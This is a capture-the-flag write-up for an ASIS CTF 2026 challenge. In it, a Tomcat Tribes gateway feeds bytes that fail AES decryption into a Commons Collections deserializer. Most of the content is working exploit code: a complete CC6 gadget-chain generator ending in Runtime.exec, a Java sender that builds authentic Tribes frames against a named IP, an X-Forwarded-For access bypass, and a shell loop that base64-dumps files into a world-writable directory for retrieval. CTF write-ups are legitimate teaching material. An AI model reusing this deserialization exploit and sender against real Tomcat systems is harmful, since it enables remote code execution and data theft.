$ cat writeup.md…
$ cat writeup.md…
ASIS CTF 2026
Task: a themed 2048 game frontend hiding a Tomcat 9 Tribes gateway whose AES decrypt-fail path feeds raw attacker bytes to a Commons Collections deserializer. Solution: authentic Tribes ChannelData frame + CC6 Runtime.exec gadget for blind RCE, then one-shot parcel mirror exfil of two flag halves.
"Are you good @ 2048?" — Citadel Grid — Multiverse 2048, node C-137. "Every move you make is mirrored to sibling universes through the encrypted garage gateway."
English summary: a Rick-and-Morty-themed 2048 game (pure client-side flavor) fronts a Node static server plus an Apache Tomcat 9.0.116 backend serving quote.jsp, leaderboard.jsp, mirror.jsp and a hidden diagnostics.jsp. A "garage gateway" listens on TCP 4000, decrypts AES/CBC session parcels and feeds them to a Java deserializer. Goal: blind RCE through the gateway, then exfiltrate a flag stored as two halves under rotating random labels.
Target: http://91.107.164.78:8080 (gateway TCP 91.107.164.78:4000). Flag format ASIS{...}.
index.html contains an HTML comment "TODO(staff): rotate the staging code" with ASIS{lo0k_at_t41s_scr1pt_kiddi3} — decoy #1.leaderboard.jsp is pre-seeded with EL-injection-looking names (param.label, initParam.flag, sessionScope.flag_SESSX) — red herrings. mirror.jsp rejects any parcel value containing $, {, }, space, /, .. (strict label validation), so EL injection is dead on arrival.robots.txt: Disallow: /citadel/, /citadel/lab-notes.html, /admin/ plus the hint "was there another door into the intranet? like a diagnostics thing?"./admin/ is a fake JS-only login ("logins disabled").| Entry | Content |
|---|---|
| 001 | "garage gateway" listens on TCP 4000, never answers, just listens |
| 002 | parcels are sealed AES/CBC/PKCS5Padding before shipping to the session keeper |
| 003 | THE BUG: since "the Jerry incident", a parcel that FAILS to decrypt is stamped "FAILED TO DECRYPT" but shipped downstairs anyway — UNENCRYPTED → raw attacker bytes reach the deserializer |
| 004 | session keeper uses an "old commons merge library from '01" = Apache Commons Collections → deserialization gadget RCE |
| 005 | flag ("portal-gun launch codes") split in halves: /opt/citadel/vault/<randomized label> and /opt/citadel/gate/<randomized label>; root-owned dirs, files world-readable; labels rotate on reboot |
| 006 | /opt/citadel/shared is world-writable; anything there is served via /mirror.jsp?parcel=<label>; parcels are ONE-SHOT (deleted on first read), swept after 15 min |
| 007 | diagnostics console in the same dir as mirror.jsp, "answers only from inside the garage" but trusts forward headers (X-Forwarded-For) |
| 008 | redacted: "version numbers, a CVE-shaped doodle of a tomato-cat" (Tomcat joke) |
The endpoint name was found with a short wordlist fuzz. It returns JSON only when X-Forwarded-For: 127.0.0.1 is sent:
{"node":"C-137 garage division","server":"Apache Tomcat/9.0.116","runningAs":"citadel", "classpathJars":[..., "catalina-tribes.jar", "commons-collections-3.2.1.jar", ...], "listeners":{"intranet":"http 0.0.0.0:8080","garageGateway":"tribes receiver tcp *:4000", "gatewayCipher":"AES/CBC/PKCS5Padding"}, "multiverseSync":{"membership":"multicast 228.13.37.7:45564", "note":"handshake integrity questionable since the Jerry incident"}, "citadelLayout":{"vault":"/opt/citadel/vault (root-owned, randomised labels)", "gate":"/opt/citadel/gate (root-owned, randomised labels)", "shelf":"/opt/citadel/shared (world-writable, 15min TTL)", "shelfMirror":"/mirror.jsp"}}
This confirms: Tomcat 9.0.116 running as user citadel, commons-collections-3.2.1 on the classpath, and — crucially — the "garage gateway" on port 4000 is a real Tomcat Tribes NioReceiver (catalina-tribes.jar, multicast membership 228.13.37.7:45564). That is why hand-rolled framings fail: the receiver parses authentic Tribes frames only.
Compile a small generator against commons-collections-3.2.1.jar (ysoserial CC6 also works). The chain is HashSet → HashMap.hash → TiedMapEntry.hashCode → LazyMap.get → ChainedTransformer → InvokerTransformer ending in Runtime.getRuntime().exec(String[]) with {"/bin/sh","-c",cmd}. Build the transformer chain disabled (ConstantTransformer(1)) so populating the HashSet locally does not fire it, patch the real chain in via reflection afterwards, and swap the map entry key in the HashSet node so serialization carries the poisoned entry:
// GenPayload.java (excerpt; CC5 builder included in the full file) static Transformer[] buildChain(String[] execArgs) { return new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{execArgs}), new ConstantTransformer(1) }; } static Object cc6(String[] execArgs) throws Exception { Transformer[] real = buildChain(execArgs); ChainedTransformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)}); Map lazyMap = LazyMap.decorate(new HashMap(), chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "fookey"); HashSet set = new HashSet(); set.add("fookey"); Field mapF = HashSet.class.getDeclaredField("map"); mapF.setAccessible(true); HashMap inner = (HashMap) mapF.get(set); Field tableF = HashMap.class.getDeclaredField("table"); tableF.setAccessible(true); Object[] table = (Object[]) tableF.get(inner); for (Object node : table) { if (node == null) continue; Field keyF = node.getClass().getDeclaredField("key"); keyF.setAccessible(true); if ("fookey".equals(keyF.get(node))) { keyF.set(node, entry); break; } } Field tF = ChainedTransformer.class.getDeclaredField("iTransformers"); tF.setAccessible(true); tF.set(chain, real); return set; }
javac --add-opens java.base/java.util=ALL-UNNAMED -cp commons-collections-3.2.1.jar GenPayload.java java --add-opens java.base/java.util=ALL-UNNAMED -cp .:commons-collections-3.2.1.jar \ GenPayload cc6 payload_cc6.bin 'YOUR_COMMAND_HERE'
Gotcha: on modern JDKs (9+) reflection into java.util internals needs --add-opens java.base/java.util=ALL-UNNAMED; on JDK 21 the HashMap.table field may be lazily allocated and must be forced before node patching.
The hard part. Guessed framings (raw bytes, 2/4-byte length prefix, hand-rolled Tribes magic) all failed. The receiver's NioReceiver validates the wire format built by XByteBuffer.createDataPackage(ChannelData), and it must be able to parse the embedded member blob with MemberImpl.getMember(byte[]) — so the safest path is to download Apache Tomcat 9.0.116 and build the frame with the real classes (catalina-tribes.jar + tomcat-juli.jar):
// TribesSender.java import org.apache.catalina.tribes.io.ChannelData; import org.apache.catalina.tribes.io.XByteBuffer; import org.apache.catalina.tribes.membership.MemberImpl; import java.io.OutputStream; import java.net.Socket; import java.nio.file.Files; import java.nio.file.Paths; public class TribesSender { public static void main(String[] args) throws Exception { byte[] payload = Files.readAllBytes(Paths.get(args[0])); String host = args.length > 1 ? args[1] : "91.107.164.78"; int port = args.length > 2 ? Integer.parseInt(args[2]) : 4000; MemberImpl me = new MemberImpl("10.13.37.42", 45564, 1000); // any valid member ChannelData cdata = new ChannelData(true); // random uniqueId cdata.setOptions(0); cdata.setTimestamp(System.currentTimeMillis()); cdata.setAddress(me); XByteBuffer msg = new XByteBuffer(payload, false); // message must be an XByteBuffer cdata.setMessage(msg); byte[] frame = XByteBuffer.createDataPackage(cdata); Socket s = new Socket(host, port); OutputStream os = s.getOutputStream(); os.write(frame); os.flush(); Thread.sleep(3000); // give the receiver time to read; channel is blind s.close(); System.out.println("tribes frame sent: " + frame.length + " bytes"); } }
Resulting wire frame: START "FLT2002" (7 bytes) + int32 BE inner length + ChannelData package + END "TLF2003" (7 bytes), where the package is options:i32 / timestamp:i64 / uidLen:i32 + uniqueId / addrLen:i32 + MemberImpl.getData(false) / msgLen:i32 + message. Two requirements worth calling out: the message must be constructed as an XByteBuffer (then setMessage), and the member must be a real MemberImpl object so the receiver-side member parse succeeds.
javac -cp catalina-tribes.jar:tomcat-juli.jar TribesSender.java java -cp .:catalina-tribes.jar:tomcat-juli.jar TribesSender payload_cc6.bin 91.107.164.78 4000
The channel is blind — no response ever comes back; success is judged by side effects only.
Command pattern: write output base64-encoded into the world-writable /opt/citadel/shared/<label>, then fetch GET /mirror.jsp?parcel=<label> — the first GET returns HTTP 200 with the file and incinerates it (a second GET is a 404). Never "check" a label twice.
Because labels under vault/ and gate/ rotate on reboot, both halves must be grabbed in a single payload:
for f in /opt/citadel/vault/flag.txt /opt/citadel/vault/README \ /opt/citadel/vault/pf_*.asc /opt/citadel/gate/launch_*.conf; do echo "-- $f"; base64 -w0 "$f"; echo done > /opt/citadel/shared/takeall9.txt 2>&1
Fresh labels, same-day timestamps. Retrieved exactly once each:
/opt/citadel/vault/flag.txt → ASIS{do_you_think_rick_sanchez_is_stupid?} — decoy #2 (the README next to it taunts: "nothing to see here, Morty.")./opt/citadel/vault/pf_37dd7013fc20.asc → launch-code half 1 (vault)./opt/citadel/gate/launch_6320c08d4e39.conf → launch-code half 2 (gate).Concatenated vault-half + gate-half per lab-notes Entry 005, the halves form the real flag — a Tomcat pun that finally explains Entry 008's tomato-cat doodle.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar